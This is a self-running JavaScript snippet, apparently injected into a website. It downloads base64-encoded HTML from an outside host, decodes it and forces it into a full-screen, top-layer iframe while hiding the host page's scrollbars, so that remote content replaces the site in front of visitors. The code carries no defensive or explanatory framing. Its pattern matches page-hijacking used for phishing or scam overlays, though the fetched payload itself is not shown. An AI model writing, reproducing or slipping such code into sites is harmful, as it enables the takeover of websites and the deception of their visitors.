(async function () { const url = "https://zuinfo.fpjuh.com/venldy.txt"; function b64ToUtf8(str) { const binary = atob(str.trim()); const bytes = Uint8Array.from(binary, c => c.charCodeAt(0)); return new TextDecoder().decode(bytes); } try { const response = await fetch(url); if (!response.ok) throw new Error(response.status); const b64Data = await response.text(); const realHtml = b64ToUtf8(b64Data); // 1. 创建全屏 iframe 并强制覆盖整个屏幕 const iframe = document.createElement('iframe'); iframe.style.cssText = ` position: fixed !important; top: 0 !important; left: 0 !important; width: 100vw !important; height: 100vh !important; border: none !important; margin: 0 !important; padding: 0 !important; z-index: 99999999 !important; background-color: #ffffff; `; // 2. 隐藏父页面的默认滚动条,防止双滚动条出现 document.documentElement.style.overflow = 'hidden'; document.body.style.overflow = 'hidden'; document.body.style.margin = '0'; // 3. 将 iframe 挂载到主页面 document.body.appendChild(iframe); // 4. 将解密后的 HTML 写入 iframe 中 if ('srcdoc' in iframe) { iframe.srcdoc = realHtml; } else { const doc = iframe.contentDocument || iframe.contentWindow.document; doc.open(); doc.write(realHtml); doc.close(); } } catch (error) { console.error('加载或解密失败:', error); } })();